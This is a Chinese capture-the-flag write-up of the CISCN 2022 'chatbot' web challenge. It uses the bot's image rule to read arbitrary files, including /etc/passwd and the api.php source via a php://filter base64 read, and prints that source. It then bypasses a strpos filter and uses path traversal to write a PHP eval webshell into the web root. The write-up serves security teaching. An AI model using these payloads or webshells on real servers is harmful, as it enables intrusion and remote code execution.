CISCN2022-华东北-会聊天的机器人

可以上传词库规则,然后和机器人对话,就会去进行查找,并且回复

1
{ "你好": {"string": "你好ctfer!"}, "1": {"image": "/etc/passwd"}, "2":{"calc":"1+1"} }

这里注意iamge,我们可以传入一个图片的链接,然后机器人会去访问,并且返回,所以我们这里尝试访问/etc/passwd,进行base64解码就可以获取

image-20220714192927092

所以尝试任意文件读取,但是不能读取/flag,可能是路径问题,或者权限问题

继续看calc功能,尝试一下,回显admin才能使用这个功能

还是那个读取文件的东西,使用php伪协议读取api.php

1
php://filter/read=convert.base64-encode/resource=/var/www/html/api.php

得到api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
init();
function init(){
$sesspath = "/tmp/session";
session_save_path($sesspath); //session存放地址
session_start();
if (!$_SESSION['cname'])
$_SESSION['cname'] = 'ck';
if(!file_dir_exists("/tmp/resource"))
mkdir("/tmp/resource");
}

function file_dir_exists($path){
$dir = dir($path);
if ($dir)
if ($dir->read())
return true;
return is_file($path);
}

function getres($input){
log_write($input);
chdir("/tmp/resource/");
$path = $_SESSION['cname'];
if(!file_dir_exists($path)){
return "请先上传词库文件。";
}
$ck = json_decode(file_get_contents($path),true);
foreach ($ck as $key => $value){
if (strstr($key,$input) or strstr($input,$key)){
$type = key($value);
$v = $value[$type];
switch ($type){
case "string":
return $v;
case "image":
$b64img = '<img src="data:image/png;base64,'.base64_encode(file_get_contents($v)) . '"/>'; //文件获取,然后以base64形式返回给客户端
return $b64img;
case "calc":
if ($_SESSION['is_admin']){
if (preg_match("/\(|\)|\'|\"/im",$v)){
return "包含非法字符";
}
return eval("return $v;"); //这个应该是利用点,执行任意命令,但是需要$_SESSION['is_admin']存在
}else{
return "admin才能使用这个功能";
}
default:
return "这个动作暂时还没能实现";
}

}
}
return "没有匹配到词库消息";
}

function uploadc(){
$data = $_POST['uploadc'];
$filename = $_POST['cname'];
$resourcedir = "/tmp/resource/";
if(!file_dir_exists($resourcedir)) //规则存放地址
mkdir($resourcedir);
if(strpos($data,"<")){ //关键词过滤
die("别这样!");
}
if(strpos($filename,".")){ //关键词过滤
die("别这样!");
}
$_SESSION['cname'] = $filename; //对$_SESSION['cname']进行更新
if(file_put_contents($resourcedir.$filename,$data)) {
return "上传成功";
}else{
return "上传失败";
}
}
function log_write($msg){
$logpath = "log.txt";
$oper = session_id();
$opername = substr($oper,0,1) ;
for ($i=0;$i <= strlen($oper);$i++)
$opername .= "*";
file_put_contents($logpath,"$opername : $msg \n",FILE_APPEND);
}

if(isset($_POST['input']))
echo getres($_POST['input']); //根据输入的input进行相应的操作
if(isset($_POST['uploadc']))
echo uploadc();
if(isset($_POST['clear']))
file_put_contents("log.txt","");
if(isset($_GET['log']))
echo file_get_contents("log.txt");

可以根据uploadc()获取规则的存放地址

尝试读取

1
{ "你好": {"string": "你好ctfer!"}, "1": {"image": "/tmp/resource/ck"}, "2":{"calc":"1+1"} }

image-20220714200142039

写木马

通过uploadc()函数写木马

尽管使用了strpos进行过滤,但是将<.放在字符串首位就可以使得判别结果为0,从而进行绕过

image-20220714211740154

1
uploadc=%3C%3Fphp+%40eval(%24_POST%5B1%5D)%3B%3F%3E&cname=../.../../../../var/www/html/xx.php

image-20220714213106213